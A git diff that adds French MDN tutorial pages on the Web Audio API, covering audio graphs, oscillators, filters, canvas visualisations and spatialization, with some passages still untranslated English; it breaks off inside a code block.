+<p>Commencez par créer une instance de <a href="/en-US/docs/Web/API/AudioContext"><code>AudioContext</code></a> sur laquelle vous allez créer un graphe audio. L'exemple le plus simple ressemblerait à ceci:</p>
+
+<pre class="brush: js">var contexteAudio = new AudioContext();
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: On peut créer plusieurs contextes audio dans le même document, bien que ce soit probablement superflu dans la plupart des cas.</p>
+</div>
+
+<p>Il faut rajouter une version préfixée pour les navigateurs Webkit/Blink browsers, tout en conservant la version non préfixée pour Firefox (desktop/mobile/OS). Ce qui donne :</p>
+
+<pre class="brush: js">var contexteAudio = new (window.AudioContext || window.webkitAudioContext)();
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: <span style="line-height: 1.5;">Safari risque de planter si l'objet </span><code style="line-height: 1.5; font-style: normal;">window</code><span style="line-height: 1.5;"> n'est pas explicitement mentionné lors de la création d'un contexte audio</span></p>
+</div>
+
+<h3 id="Création_d'une_source_audio">Création d'une source audio</h3>
+
+<p>Maintenant que nous avons créé un contexte, nous allons utiliser les méthodes de ce contexte pour quasiment tout ce qui nous reste à faire. La première étape consiste à créer une source audio. Les sources peuvent être de provenance diverse :</p>
+
+<ul>
+ <li>générées en JavaScript par un noeud audio tel qu'un oscillateur. Pour créer un {{domxref("OscillatorNode")}} on utilise la méthode {{domxref("AudioContext.createOscillator")}}.</li>
+ <li>créées à partir de données PCM brutes: le contexte audio a des méthodes pour décoder lesformats supportés; voir {{ domxref("AudioContext.createBuffer()") }}, {{domxref("AudioContext.createBufferSource()")}}, et {{domxref("AudioContext.decodeAudioData()")}}.</li>
+ <li>récupérées dans des élements HTML tels que {{HTMLElement("video")}} ou {{HTMLElement("audio")}}: voir {{domxref("AudioContext.createMediaElementSource()")}}.</li>
+ <li>prises dans un <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> {{domxref("MediaStream")}} comme une webcam ou un microphone. Voir {{ domxref("AudioContext.createMediaStreamSource()") }}.</li>
+</ul>
+
+<p>Pour notre exemple nous nous contenterons de créer un oscillateur pour générer un son simple comme source, et un noeud de gain pour contrôler le volume:</p>
+
+<pre class="brush: js">var oscillateur = contexteAudio.createOscillator();
+var noeudGain = contexteAudio.createGain();
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Pour jouer un fichier audio directement, il faut charger le fichier en XHR, le décoder en mémoire tampon, puis associer le tampon à une source. Voir l'exemple <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L48-L68">Voice-change-O-matic</a>.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Scott Michaud a écrit la librairie <a href="https://github.com/ScottMichaud/AudioSampleLoader">AudioSampleLoader</a>, très pratique pour charger et décoder un ou plusieurs extraits audio. Elle peut aider à simplifier le processus de chargement XHR / mémoire tampon décrit dans la note précédente.</p>
+</div>
+
+<h3 id="Lien_entre_les_noeuds_source_et_destination">Lien entre les noeuds source et destination</h3>
+
+<p>Pour faire sortir le son dans vos enceintes, il faut relier la source et la destination. Pour cela on appelle la méthode <code>connect</code> sur le noeud source, le noeud de destination étant passé en argument. La méthode <code>connect</code> est disponible sur la plupart des types de noeuds.<code> </code></p>
+
+<p>La sortie par défaut du matériel (en général les enceintes) est accessible via {{ domxref("AudioContext.destination") }}. Pour connecter l'oscillateur, le noeud de gain et la destination, on écrirait les lignes suivantes:</p>
+
+<pre class="brush: js">oscillateur.connect(noeudGain);
+noeudGain.connect(contexteAudio.destination);
+</pre>
+
+<p>On peut connecter autant de noeuds qu'on le souhaite (cf. <a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a>). Par exemple:</p>
+
+<pre class="brush: js">source = contexteAudio.createMediaStreamSource(stream);
+source.connect(analyser);
+analyser.connect(distortion);
+distortion.connect(biquadFilter);
+biquadFilter.connect(convolver);
+convolver.connect(noeudGain);
+noeudGain.connect(contexteAudio.destination);
+</pre>
+
+<p>Ce code créerait le graphe audio suivant :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7949/voice-change-o-matic-graph.png" style="display: block; height: 563px; margin: 0px auto; width: 232px;">Il est possible de connecter plusieurs noeuds à un seul noeud, par exemple pour mixer plusieurs sources ensemble, et les passer dans un seul noeud d'effet, tel qu'un noeud de gain.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Depuis Firefox 32, les outils de développement intégrés incluent un <a href="/en-US/docs/Tools/Web_Audio_Editor">éditeur audio</a>,  très utile pour débugger les graphes audio.</p>
+</div>
+
+<h3 id="Lecture_du_son_et_définition_du_pitch">Lecture du son et définition du pitch</h3>
+
+<p>Maintenant que le graphe audio est en place, nous pouvons ajuster certains aspects du son en définissant la valeur de certaines propriétés ou en utilsant ses méthodes. L'exemple suivant spécifie un pitch en hertz pour un oscillateur, lui assigne un type, et demande à l'oscillateur de jouer le son.</p>
+
+<pre class="brush: js">oscillateur.type = 'sine'; // onde sinusoïdale — les autres valeurs possible sont : 'square', 'sawtooth', 'triangle' et 'custom'
+oscillateur.frequency.value = 2500; // valeur en hertz
+oscillateur.start();
+</pre>
+
+<p>Le code suivant, qui vient de l'exemple <a href="http://mdn.github.io/violent-theremin/">Violent Theremin</a>, spécifie une valeur maximum pour le gain, et une valeur pour la fréquence:</p>
+
+<pre class="brush: js">var largeur = window.innerWidth;
+var hauteur = window.innerHeight;
+
+var frequenceMax = 6000;
+var volumeMax = 1;
+
+var frequenceInitiale = 3000;
+var volumeInitial = 0.5;
+
+// paramètres de l'oscillateur
+
+oscillateur.type = 'sine'; // onde sinusoïdale — les autres valeurs possible sont : 'square', 'sawtooth', 'triangle' et 'custom'
+oscillateur.frequency.value = frequenceInitiale; // valeur en hertz
+oscillateur.start();
+
+noeudGain.gain.value = volumeInitial;
+</pre>
+
+<p>On peut aussi réassigner les valeurs de fréquence et de pitch à chaque mouvement de la souris, en utilisant la position pour calculer un pourcentage des valeurs maximum de fréquence et de gain :</p>
+
+<pre class="brush: js">// coordonnées de la souris
+
+var positionX;
+var positionY;
+
+// récupère les nouvelles coordonnées de la souris quand elle bouge
+// puis assigne les nouvelles valeurs de gain et de pitch
+
+document.onmousemove = updatePage;
+
+function updatePage(e) {
+    positionX = (window.Event) ? e.pageX : e.clientX + (document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft);
+    positionY = (window.Event) ? e.pageY : e.clientY + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop);
+
+    oscillateur.frequency.value = (positionX/largeur) * frequenceMax;
+    noeudGain.gain.value = (positionY/hauteur) * volumeMax;
+
+    canvasDraw();
+}
+</pre>
+
+<h3 id="Simple_visualisation_avec_canvas">Simple visualisation avec canvas</h3>
+
+<p>On appelle une fonction <code>canvasDraw()</code> à chaque mouvement de la souris. Elle dessine une grappe de cercles à l'endroit où se trouve la souris, leur taille et couleur étant basées sur les valeurs de fréquence et de gain.</p>
+
+<pre class="brush: js">function aleatoire(number1, number2) {
+  return number1 + (Math.floor(Math.random() * (number2 - number1)) + 1);
+}
+
+var canvas = document.querySelector('.canvas');
+canvas.width = largeur;
+canvas.height = hauteur;
+
+var contexteCanvas = canvas.getContext('2d');
+
+function canvasDraw() {
+  rX = positionX;
+  rY = positionY;
+  rC = Math.floor((noeudGain.gain.value / volumeMax) * 30);
+
+  canvasCtx.globalAlpha = 0.2;
+
+  for(i=1;i&lt;=15;i=i+2) {
+    contexteCanvas.beginPath();
+    var chaineStyle = 'rgb(' + 100 + (i * 10) + ',' + Math.floor((noeudGain.gain.value / volumeMax) * 255);
+    chaineStyle += ',' + Math.floor((oscillateur.frequency.value / frequenceMax) * 255) + ')';
+    contexteCanvas.fillStyle = chaineStyle;
+    contexteCanvas.arc(rX + aleatoire(0, 50), rY + aleatoire(0, 50), rC / 2 + i, (Math.PI / 180) * 0, (Math.PI / 180) * 360, false);
+    contexteCanvas.fill();
+    contexteCanvas.closePath();
+  }
+}</pre>
+
+<h3 id="Couper_le_son_du_theremin">Couper le son du theremin</h3>
+
+<p>Quand on appuie sur le bouton pour couper le son, la fonction ci-dessous est appelée, qui déconnecte le noeud de gain du noeud de destination, cassant ainsi le graphe de façon à ce qu'aucun son ne soit produit. Appuyer de nouveau sur le bouton a l'effet inverse.</p>
+
+<pre class="brush: js">var coupeSon = document.querySelector('.mute');
+
+coupeSon.onclick = function() {
+  if(coupeSon.id == "") {
+    noeudGain.disconnect(contexteAudio.destination);
+    coupeSon.id = "activated";
+    coupeSon.innerHTML = "Unmute";
+  } else {
+    noeudGain.connect(contexteAudio.destination);
+    coupeSon.id = "";
+    coupeSon.innerHTML = "Mute";
+  }
+}
+</pre>
+
+<h2 id="Autres_options_des_noeuds">Autres options des noeuds</h2>
+
+<p>On peut créer un grand nombre d'autres noeuds avec la Web Audio API. De façon générale, ils fonctionnent de façon très similaire à ceux que nous venons de voir: on crée un noeud, le connecte avec d'autres noeuds, et on manipule ensuite ses propriétés et méthodes pour agir sur la source.</p>
+
+<p>Ce document passe en revue quelques-uns des outils et effets disponibles; vous trouverez davantage de détails sur les pages de référence de la {{ domxref("Web_Audio_API") }}.</p>
+
+<h3 id="Noeuds_modulateurs_d'onde">Noeuds modulateurs d'onde</h3>
+
+<p>On peut créer un noeud modulatur d'onde avec la méthode {{ domxref("AudioContext.createWaveShaper") }} :</p>
+
+<pre class="brush: js">var distortion = contexteAudio.createWaveShaper();
+</pre>
+
+<p>On associe ensuite à cet objet une forme d'onde définie mathématiquement, qui est appliquée à l'onde de base pour créer un effet de distortion. Ecrire son propre algorithme n'est pas si simple, et pour commencer le mieux est encore d'en chercher un sur le Web. Par exemple, nous avons trouvé celui-ci sur <a href="http://stackoverflow.com/questions/22312841/waveshaper-node-in-webaudio-how-to-emulate-distortion">Stack Overflow</a>:</p>
+
+<pre class="brush: js">function genererCourbeDistortion(amount) {
+  var k = typeof amount === 'number' ? amount : 50,
+    n_samples = 44100,
+    curve = new Float32Array(n_samples),
+    deg = Math.PI / 180,
+    i = 0,
+    x;
+  for ( ; i &lt; n_samples; ++i ) {
+    x = i * 2 / n_samples - 1;
+    curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.abs(x) );
+  }
+  return curve;
+};
+</pre>
+
+<p>L'exemple suivant, qui vient de <a href="https://github.com/mdn/voice-change-o-matic">Voice-change-O-matic</a>, connecte un noeud de  <code>distortion</code> à un graphe audio, puis applique l'algorithme de forme d'onde précédent au noeud de distortion :</p>
+
+<pre class="brush: js">source.connect(analyser);
+analyser.connect(distortion);
+distortion.connect(biquadFilter);
+
+...
+
+distortion.curve = genererCourbeDistortion(400);
+</pre>
+
+<h3 id="Filtre_biquad">Filtre biquad</h3>
+
+<p>Les filtres biquad ont de nombreuses options. Nous montrons ici comment créer un filtre biquad avec la méthode {{domxref("AudioContext.createBiquadFilter")}}.</p>
+
+<pre class="brush: js">var filtreBiquad = contexteAudio.createBiquadFilter();
+</pre>
+
+<p>Le filtre utilisé dans la démo Voice-change-o-matic est un filtre lowshelf, qui amplifie le son au niveau des basses. Ici on augmente de 25 décibels toutes les fréquences en dessous de 1000.</p>
+
+<pre class="brush: js">filtreBiquad.type = "lowshelf";
+filtreBiquad.frequency.value = 1000;
+filtreBiquad.gain.value = 25;
+</pre>
+
+<h2 id="Autres_usages_de_la_Web_Audio_API">Autres usages de la Web Audio API</h2>
+
+<p>La Web Audio API peut avoir bien d'autres applications que la visualisation ou la spatialisation audio (comme gérer la balance d'un son). Nous détaillerons d'autres options dans des articles séparés.</p>
diff --git a/files/fr/web/api/web_audio_api/visualizations_with_web_audio_api/index.html b/files/fr/web/api/web_audio_api/visualizations_with_web_audio_api/index.html
new file mode 100644
index 0000000000..e8891925b5
--- /dev/null
+++ b/files/fr/web/api/web_audio_api/visualizations_with_web_audio_api/index.html
@@ -0,0 +1,184 @@
+---
+title: Visualisations avec la Web Audio API
+slug: Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API
+translation_of: Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API
+---
+<div class="summary">
+<p>L'une des fonctionnalités les plus intéressantes de la Web Audio API est la possibilité d'extraire de la source audio la fréquence, la forme d'onde et d'autres données, qui permettent de créer des visualisations. Cet article explique comment, et fournit quelques exemples basiques.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Vous pouvez trouver des exemples de tous les extraits de the code dans notre démo <a href="https://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a>.</p>
+</div>
+
+<h2 id="Concepts_de_base">Concepts de base</h2>
+
+<p>Pour extraire les données d'une source audio, il faut un {{ domxref("AnalyserNode") }}, que l'on peut créer à l'aide de la méthode {{ domxref("AudioContext.createAnalyser()") }}, par exemple:</p>
+
+<pre class="brush: js">var contexteAudio = new (window.AudioContext || window.webkitAudioContext)();
+var analyseur = contexteAudio.createAnalyser();</pre>
+
+<p>Ce noeud est ensuite connecté à la source audio :</p>
+
+<pre class="brush: js">source = contexteAudio.createMediaStreamSource(stream);
+source.connect(analyseur);
+analyseur.connect(distortion);
+// etc.</pre>
+
+<div class="note">
+<p><strong>Note</strong>: il n'est pas nécessaire de connecter la sortie de l'analyseur à un noeud pour qu'il fonctionne, il suffit que l'entrée soit connectée à la source, directement ou via un autre noeud.</p>
+</div>
+
+<p>L'analyseur va alors capturer les données audio en usant une Transformation de Fourier Rapide (fft) à une certaine fréquence, en fonction de ce qui est spécifié dans la propriété {{ domxref("AnalyserNode.fftSize") }} (la valeur par défaut est 2048).</p>
+
+<div class="note">
+<p><strong>Note</strong>: Vous pouvez aussi spécifier des valeurs de puissance minimum et maximum pour la plage de mise à l'échelle fft, en utilisant {{ domxref("AnalyserNode.minDecibels") }} et {{ domxref("AnalyserNode.maxDecibels") }}, et plusieurs valeurs de transition en utilisant {{ domxref("AnalyserNode.smoothingTimeConstant") }}.</p>
+</div>
+
+<p>Pour capturer des données, il faut utiliser les méthodes {{ domxref("AnalyserNode.getFloatFrequencyData()") }} et {{ domxref("AnalyserNode.getByteFrequencyData()") }} pour la fréquence, et {{ domxref("AnalyserNode.getByteTimeDomainData()") }} et {{ domxref("AnalyserNode.getFloatTimeDomainData()") }} pour la forme d'onde.</p>
+
+<p>Ces méthodes copient les données dans le tableau passé en paramètre, il faut donc créer un tableau avant de les invoquer. La première produit des nombres flottants à simple précision de 32 bits, qui ne peuvent être stockées dans un simple tableau javascript. Vous devez créer un domxref("Float32Array") }} ou un {{ domxref("Uint8Array") }}, en fonction du type de données que vous traitez.</p>
+
+<p>Par exemple, disons que nous manipulons une fft de fréquence 2048. Nous retournonns la valeur {{ domxref("AnalyserNode.frequencyBinCount") }}, qui correspond à la moitié de la fréquence, puis nous appelons la méthode  Uint8Array() en passant frequencyBinCount comme argument pour la taille — c'est le nombre de points de données qui seront collectées pour cette fréquence.</p>
+
+<pre class="brush: js">analyseur.fftSize = 2048;
+var tailleMemoireTampon = analyseur.frequencyBinCount;
+var tableauDonnees = new Uint8Array(tailleMemoireTampon);</pre>
+
+<p>Pour récupérer les données et les copier dans notre tableau, nous appelons ensuite la méthode de notre choix, en passant le tableau comme argument. Par exemple :</p>
+
+<pre class="brush: js">analyseur.getByteTimeDomainData(tableauDonnees);</pre>
+
+<p>Nous avons maintenant les données audio qui correspondent à ce laps de temps capturées dans notre tableau, et pouvons procéder à la visualisation, par exemple en les dessinant dans un élément HTML5 {{ htmlelement("canvas") }}.</p>
+
+<p>Regardons quelques exemples précis.</p>
+
+<h2 id="Création_d'une_forme_d'onde_oscilloscope">Création d'une forme d'onde / oscilloscope</h2>
+
+<p>Pour visualiser un oscilloscope (chapeau à <a href="http://soledadpenades.com/">Soledad Penadés</a> pour le code original sur <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L123-L167">Voice-change-O-matic</a>), nous commençons par suivre la procédure standard décrite dans le paragraphe précédent pour mettre en place le tampon :</p>
+
+<pre class="brush: js">analyseur.fftSize = 2048;
+var tailleMemoireTampon = analyseur.frequencyBinCount;
+var tableauDonnees = new Uint8Array(tailleMemoireTampon);</pre>
+
+<p>Ensuite nous effaçons ce qui est dessiné sur le canvas , avant le nouvel affichage :</p>
+
+<pre class="brush: js">contexteCanvas.clearRect(0, 0, LARGEUR, HAUTEUR);</pre>
+
+<p>Puis nous définissons la fonction <code>dessiner()</code> :</p>
+
+<pre class="brush: js">function <code>dessiner</code>() {</pre>
+
+<p>Dans cette fonction, nous utilisons <code>requestAnimationFrame()</code> pour faire boucler la fonction une fois qu'elle a été appelée :</p>
+
+<pre class="brush: js">      dessin = requestAnimationFrame(<code>dessiner</code>);</pre>
+
+<p>Ensuite, nous récupérons les données et les passons dans notre tableau :</p>
+
+<pre class="brush: js">      analyseur.getByteTimeDomainData(tableauDonnees);</pre>
+
+<p>Nous remplissons le canvas avec une couleur de fond :</p>
+
+<pre class="brush: js">      contexteCanvas.fillStyle = 'rgb(200, 200, 200)';
+      contexteCanvas.fillRect(0, 0, LARGEUR, HAUTEUR);</pre>
+
+<p>Nous définissons l'épaisseur et la couleur du trait pour la forme d'onde que nous allons dessiner, et commençons le tracé :</p>
+
+<pre class="brush: js">      contexteCanvas.lineWidth = 2;
+      contexteCanvas.strokeStyle = 'rgb(0, 0, 0)';
+
+      contexteCanvas.beginPath();</pre>
+
+<p>Pour déterminer la largeur de chacun des segments qui composent la ligne, nous divisons la largeur du canvas par la taille du tableau de données (laquelle est égale à FrequencyBinCount, comme nous l'avons dit plus haut), puis nous définissons une variable x pour stocker la position à laquelle il faut se déplacer pour chaque segment.</p>
+
+<pre class="brush: js">      var largeurSegment = LARGEUR * 1.0 / tailleMemoireTampon;
+      var x = 0;</pre>
+
+<p>Nous parcourons une boucle, qui définit la position du segment de l'onde pour chaque valeur du tableau: la hauteur (y) est basée sur cette valeur, tandis que la position en x correspond à une largeur de segment supplémentaire à chaque itération :</p>
+
+<pre class="brush: js">      for(var i = 0; i &lt; tailleMemoireTampon; i++) {
+
+        var v = tableauDonnees[i] / 128.0;
+        var y = v * HAUTEUR/2;
+
+        if(i === 0) {
+          contexteCanvas.moveTo(x, y);
+        } else {
+          contexteCanvas.lineTo(x, y);
+        }
+
+        x += largeurSegment;
+      }</pre>
+
+<p>Finally, quand le tracé de la ligne a atteint le bord droit du canvas, nous l'affichons:</p>
+
+<pre class="brush: js">      contexteCanvas.lineTo(canvas.width, canvas.height/2);
+      contexteCanvas.stroke();
+    };</pre>
+
+<p>Nous pouvons maintenant appeler la fonction <code>draw()</code> que nous venons de définir pour lancer le processus:</p>
+
+<pre class="brush: js">    <code>dessiner</code>();</pre>
+
+<p>Ce qui nous donne un affichage de forme d'onde, actualisé plusieurs fois par seconde :</p>
+
+<p><img alt="a black oscilloscope line, showing the waveform of an audio signal" src="https://mdn.mozillademos.org/files/7977/wave.png" style="display: block; height: 96px; margin: 0px auto; width: 640px;"></p>
+
+<h2 id="Création_d'un_graphique_à_barres_représentant_la_fréquence">Création d'un graphique à barres représentant la fréquence</h2>
+
+<p>Un autre exemple de visualisation assez simple à créer est le graphique à barres dans le style de Winamp. Il y en a un dans la démo Voice-change-O-matic; regardons comment il est fait.</p>
+
+<p>Tout d'abord, nous mettons de nouveau en place notre analyseur et notre tableau de données, et nous effaçons le contenu du canvas avec <code>clearRect()</code>. La seule différence est que la valeur de la propriété fftSize est beaucoup plus petite, de façon à ce que chaque barre soit assez grosse pour ressembler à une barre et non à un fil.</p>
+
+<pre class="brush: js">    analyseur.fftSize = 256;
+    var tailleMemoireTampon = analyseur.frequencyBinCount;
+    console.log(tailleMemoireTampon);
+    var tableauDonnees = new Uint8Array(tailleMemoireTampon);
+
+    canvasCtx.clearRect(0, 0, LARGEUR, HAUTEUR);</pre>
+
+<p>Ensuite, nous passons à la fonction <code>dessiner()</code>, là encore avec une boucle <code>requestAnimationFrame()</code> qui efface l'affichage et le met à jour.</p>
+
+<pre class="brush: js">    function <code>dessiner</code>() {
+      dessin = requestAnimationFrame(<code>dessiner</code>);
+
+      analyseur.getByteFrequencyData(tableauDonnees);
+
+      contexteCanvas.fillStyle = 'rgb(0, 0, 0)';
+      contexteCanvas.fillRect(0, 0, LARGEUR, HAUTEUR);</pre>
+
+<p>A présent nous calculons la largeur d'une barre, à savoir la largeur du canvas divisée par le nombre de barres (par la taille du buffer). Et nous multiplions cette valeur par 2.5, en prévision du fait que la plupart des fréquences ne contiendront pas de son, car les sons que nous entendons se situent dans un intervalle de fréquence plutôt bas. Nous ne voulons pas afficher des barres vides, nous ne gardons donc que celles qui ont une hauteur suffisante.</p>
+
+<p>Nous déclarons une variable <code>hauteurBarre</code>, ainsi qu'une variable <code>x</code> pour mémoriser la posiiton à laquelle il faudra dessiner la barre.</p>
+
+<pre class="brush: js">      var largeurBarre = (LARGEUR / tailleMemoireTampon) * 2.5;
+      var hauteurBarre;
+      var x = 0;</pre>
+
+<p>Nous créons maintenant une boucle et itérons sur chaque valeur de <code>tableauDonnees</code> : <code>hauteurBarre</code> correspond à la valeur du tableau, la couleur de fond est aussi basée sur cette valeur (plus elle est grande plus la barre est lumineuse), et la barre est placée à <code>x</code> pixels du bord gauche du canvas, sa largeur est <code>largeurBarre</code> et sa hauteur est <code>hauteurBarre/2</code> (nous avons finalement décidé de diviser cette valeur par deux pour que les barres rentrent mieux dans le canvas).</p>
+
+<p>La position verticale de la barre est calculée comme tel : <code>HAUTEUR-hauteurBarre/2</code>, parce que nous voulons que les barres s'alignent en bas du canvas, et non pas en haut (auquel cas nous aurions positionné la barre à 0).</p>
+
+<pre class="brush: js">      for(var i = 0; i &lt; tailleMemoireTampon; i++) {
+        hauteurBarre = tableauDonnees[i]/2;
+
+        contexteCanvas.fillStyle = 'rgb(' + (hauteurBarre+100) + ',50,50)';
+        contexteCanvas.fillRect(x,HAUTEUR-hauteurBarre/2,largeurBarre,hauteurBarre);
+
+        x += largeurBarre + 1;
+      }
+    };</pre>
+
+<p>Là encore, nous invoquons la fonction <code>dessiner</code>() pour lancer le processus.</p>
+
+<pre class="brush: js">    <code>dessiner</code>();</pre>
+
+<p>Ce code donne le résultat suivant:</p>
+
+<p><img alt="a series of red bars in a bar graph, showing intensity of different frequencies in an audio signal" src="https://mdn.mozillademos.org/files/7975/bar-graph.png" style="height: 157px; width: 1260px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: Les examples de cet article montrent l'utilisation de {{ domxref("AnalyserNode.getByteFrequencyData()") }} et {{ domxref("AnalyserNode.getByteTimeDomainData()") }}. Pour des exemples montrant {{ domxref("AnalyserNode.getFloatFrequencyData()") }} et {{ domxref("AnalyserNode.getFloatTimeDomainData()") }}, voir notre démo <a href="http://mdn.github.io/voice-change-o-matic-float-data/">Voice-change-O-matic-float-data</a> (et son <a href="https://github.com/mdn/voice-change-o-matic-float-data">code source</a>) — elle est identique à la <a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic </a>originale, à ceci près qu'elle utilise des données à virgule flottante, au lieu de données non signées.</p>
+</div>
+
+<p> </p>
diff --git a/files/fr/web/api/web_audio_api/web_audio_spatialization_basics/index.html b/files/fr/web/api/web_audio_api/web_audio_spatialization_basics/index.html
new file mode 100644
index 0000000000..3c90e6ecc5
--- /dev/null
+++ b/files/fr/web/api/web_audio_api/web_audio_spatialization_basics/index.html
@@ -0,0 +1,273 @@
+---
+title: Web audio spatialization basics
+slug: Web/API/Web_Audio_API/Web_audio_spatialization_basics
+translation_of: Web/API/Web_Audio_API/Web_audio_spatialization_basics
+---
+<div class="summary">
+<p><span class="seoSummary">En plus de sa grande variété de fonctionnalités et d'options, la Web Audio API permet aussi d'émuler la différence dans l'écoute d'un son lorsqu'un auditeur se déplace par rapport à une source, par exemple un panoramique lorsqu'il se déplace de gauche à droite de la source. On parle alors de spatialisation. Cet article expose les notions de base pour implémenter ce type de système.</span></p>
+</div>
+
+<p>Le cas d'utilisation le plus simple est la simulation des altérations d'un son de façon réaliste pour imaginer comment une source se comportera pour un personnage qui se déplace dans un environnement 3D.</p>
+
+<h2 id="Concepts_de_base">Concepts de base</h2>
+
+<p>Créer une spatialisation audio comporte deux principaux aspects :</p>
+
+<ol>
+ <li>L'objet {{ domxref("AudioListener") }} représente la position dans l'espace 3D d'une personne qui écoute la source audio; on y accède avec la propriété {{ domxref("AudioContext.listener") }}. On peut paramétrer la position et l'orientation de l'auditeur, entre autres.</li>
+ <li>L'objet {{ domxref("PannerNode") }} représente la position dans l'espace 3D d'une source audio; on le crée avec la méthode {{ domxref("AudioContext.createPanner()") }}. On peut paramétrer un certain nombre d'options comme la position, l'orientation, la vitesse, et l'angle s'un cône qui indique dans quelle direction le son peut être entendu (s'il n'est pas omnidirectionnel).</li>
+</ol>
+
+<p>Vous devez créer et paramétrer ces deux objects, et le navigateur fait le reste er génère le rendu audio. Le diagramme ci-dessous montre les différentes choses qui peuvent être contrôlés pour un {{ domxref("PannerNode") }}.</p>
+
+<p><img alt="The PannerNode brings a spatial position and velocity and a directionality for a given signal." src="https://mdn.mozillademos.org/files/5087/WebAudioPannerNode.png" style="display: block; height: 228px; margin: 0px auto; width: 568px;"></p>
+
+<p>Dans cet article nous allons nous concentrer sur la position de l'auditeur et du panoramique, tous deux paramétrés à l'aide de la méthode <code>setPosition(). </code>Celle-co accepte trois valeurs qui correspondent à X, Y, et Z dans un système de coordonnées cartésien.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Trouver les bonnes valeurs pour que le cas d'utilisation fonctionne bien et semble réaliste n'est pas toujours évident et peur prendre du temps, et il faut souvent continuer à modifier les valeurs par la suite. Nous discuterons ceci plus en détail en parcourant le code qui suit.</p>
+</div>
+
+<p>Les autres options  disponibles, que nous ne traiterons pas ici, sont :</p>
+
+<ul>
+ <li><code>setOrientation()</code>: disponible à la fois pour l'auditeur et le panoramique for both the listener and panner, cette méthode paramètre l'orientation. Elle prend six valeurs: les trois premières représentent un vecteur frontal dans l'espace 3D  (imaginez une personne et la direction dans laquelle pointe son nez) and les trois autre un vecteur de direction verticale  dans l'espace 3D space (imaginez la même personne et la direction vers laquelle pointe le haut de sa tête)</li>
+ <li><code>setVelocity()</code>: disponible uniquement pour le panoramique; permet de paramétrer la vitesse à laquelle une source audio se déplace, à l'aide d'un vecteur de vitesse dans l'espace 3D (valeurs X, Y, et Z). When set, the browser will apply a doppler shift effect.</li>
+ <li><code>coneInnerAngle</code>, <code>coneOuterAngle</code>, and <code>coneOuterGain</code>: Available for the panner only, these allow you to set an angle inside/outside of which the volume will be reduced by the specified gain value. This is done to specify directional audio sources, but the default is 360/360/0, respectively, meaning that by default you get an omnidirectional sound source.</li>
+</ul>
+
+<h2 id="A_simple_demo_Room_of_metal">A simple demo: Room of metal</h2>
+
+<p>In our demo, you can move left and right past a 2.5D stereo that can be made to play a groovy tune, and you can also move towards the stereo. As you move left and right, the tune will pan to emulate how the tune will sound as you change your position proportional to the sound source. When you zoom in and out, the sound will get louder and quieter to suit.<br>
+ <br>
+ <img alt="a minimal UI with a portable stereo in the center of it, and buttons marked play, stop, left arrow, right arrow, zoom in and zoom out. It says Room of Metal at the top." src="https://mdn.mozillademos.org/files/8141/room-of-metal.png" style="display: block; height: 298px; margin: 0px auto; width: 640px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: You can see this example <a href="https://mdn.github.io/webaudio-examples/panner-node/">running live</a>, and <a href="https://github.com/mdn/panner-node">view the source code</a>.</p>
+</div>
+
+<p>Let's walk through the code and see how this was actually done.</p>
+
+<h3 id="Defining_basic_variables">Defining basic variables</h3>
+
+<p>First we define a new audio context, panner, listener, and source:</p>
+
+<pre class="brush: js">var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var panner = audioCtx.createPanner();
+var listener = audioCtx.listener;
+var source;</pre>
+
+<p>Next we grab the objects on the page we are using for our demo. First the <code>play</code> and <code>stop</code> buttons to control the audio, then the <code>boomBox</code>, which is just the graphic of the stereo that we are moving around. After that, we grab a reference to two paragraphs that are used to output the position of the <code>listener</code> and <code>panner</code>, for debugging purposes.</p>
+
+<pre class="brush: js">var play = document.querySelector('.play');
+var stop = document.querySelector('.stop');
+
+var boomBox = document.querySelector('.boom-box');
+
+var listenerData = document.querySelector('.listener-data');
+var pannerData = document.querySelector('.panner-data');</pre>
+
+<h3 id="Working_out_listener_and_panner_positions">Working out listener and panner positions</h3>
+
+<p>Next comes a little bit of slightly fiddly maths. We want to make the <code>boomBox</code>, <code>listener</code>, and <code>panner</code> appear in the center of the screen initially, so we work out the width and height of the viewport, and divide both by two to get our X and Y values for those things. The <code>zPos</code> is only used on the panner, and is updated as the zoom controls are used (see later on); the initial value of 295 was decided on fairly arbitrarily — it sounded good. As long as you set the position of the panner appropriately in relation to the listener position, you will be ok.</p>
+
+<p>Next for this section, we set a <code>leftBound</code> and <code>rightBound</code>, which is the furthest we want our stereo graph to travel left and right. For the layout, we are using <a href="/en-US/docs/Web/Guide/CSS/Flexible_boxes">Flexbox</a> to initially place the <code>boomBox</code> right in the center of the viewport, after which we then use iterative transforms and {{domxref("window.requestAnimationFrame()")}} to apply the <code>boomBox</code> movement. Therefore the "0" position is in the center of the viewport so the rightmost position is that position plus half the viewport, but minus 50 (pixels) so the <code>boomBox</code> can't shoot all the way off the right of the screen, and the leftmost position is that position minus half the viewport, but plus 50 (pixels), so the <code>boomBox</code> can't shoot all the way off the left of the screen.</p>
+
+<p>The last part of this code is the <code>xIterator</code> — we set this to a 150th of the screen width, and then move the <code>boomBox</code> left and right by this amount when the left and right controls are pressed. We use this rather than a constant so that the app is a little more responsive.</p>
+
+<pre class="brush: js">var WIDTH = window.innerWidth;
+var HEIGHT = window.innerHeight;
+
+var xPos = WIDTH/2;
+var yPos = HEIGHT/2;
